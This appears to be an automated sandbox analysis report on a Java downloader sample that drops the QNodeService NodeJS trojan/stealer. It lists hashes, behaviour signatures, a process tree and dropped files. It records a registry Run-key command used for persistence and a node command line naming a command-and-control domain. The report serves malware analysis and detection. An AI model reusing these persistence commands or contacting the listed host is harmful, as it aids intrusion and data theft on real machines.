Analysis
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max time kernel
122s -
max time network
139s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
08-12-2020 23:21
Static task
static1
Behavioral task
behavioral1
Sample
f4.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
f4.jar
Resource
win10v20201028
General
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Target
f4.jar
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Size
57KB
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MD5
ae77d6c4c46bbfdaa23c9238d12dcd98
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SHA1
4a5e4e0e0e7957a6b78a827bcd2d13f37afa713d
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SHA256
b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1
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SHA512
64dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 1172 node.exe 3696 node.exe 3240 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\ff11e993-10dc-4933-8e4f-516c2d849790 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 1172 node.exe 1172 node.exe 1172 node.exe 1172 node.exe 3696 node.exe 3696 node.exe 3696 node.exe 3696 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe 3240 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 540 wrote to memory of 1240 540 java.exe javaw.exe PID 540 wrote to memory of 1240 540 java.exe javaw.exe PID 1240 wrote to memory of 1172 1240 javaw.exe node.exe PID 1240 wrote to memory of 1172 1240 javaw.exe node.exe PID 1172 wrote to memory of 3696 1172 node.exe node.exe PID 1172 wrote to memory of 3696 1172 node.exe node.exe PID 3696 wrote to memory of 3240 3696 node.exe node.exe PID 3696 wrote to memory of 3240 3696 node.exe node.exe PID 3240 wrote to memory of 3088 3240 node.exe cmd.exe PID 3240 wrote to memory of 3088 3240 node.exe cmd.exe PID 3088 wrote to memory of 2148 3088 cmd.exe reg.exe PID 3088 wrote to memory of 2148 3088 cmd.exe reg.exe
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\f4.jar1⤵
- Suspicious use of WriteProcessMemory
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C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6430ea54.tmp2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.js --hub-domain severdops.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ff11e993-10dc-4933-8e4f-516c2d849790" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestampMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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C:\Users\Admin\AppData\Local\Temp\6430ea54.tmpMD5
ae77d6c4c46bbfdaa23c9238d12dcd98
SHA14a5e4e0e0e7957a6b78a827bcd2d13f37afa713d
SHA256b91195dd162317cf8064a5c6479eb676936d32aca3c0262533a6a143fe0e28d1
SHA51264dc178003a04a44a3887e136749a2e46e455ca343373d92e8087454cba8c462bdbd04e40164d315bf283174293104d759fc2d38fff4232579d760d9a3f1d114
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C:\Users\Admin\AppData\Local\Temp\_qhub_node_SrPnMW\boot.jsMD5
3859487feb5152e9d1afc4f8cd320608
SHA17bf154c9ddf3a71abf15906cdb60773e8ae07b62
SHA2568d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13
SHA512826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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memory/1172-172-0x0000000000000000-mapping.dmp
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memory/1172-174-0x0000037249680000-0x0000037249681000-memory.dmpFilesize
4KB
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memory/1240-53-0x0000000000000000-mapping.dmp
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memory/2148-183-0x0000000000000000-mapping.dmp
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memory/3088-182-0x0000000000000000-mapping.dmp
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memory/3240-179-0x0000000000000000-mapping.dmp
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memory/3240-181-0x000003D8508C0000-0x000003D8508C1000-memory.dmpFilesize
4KB
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memory/3696-175-0x0000000000000000-mapping.dmp
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memory/3696-177-0x000003C270100000-0x000003C270101000-memory.dmpFilesize
4KB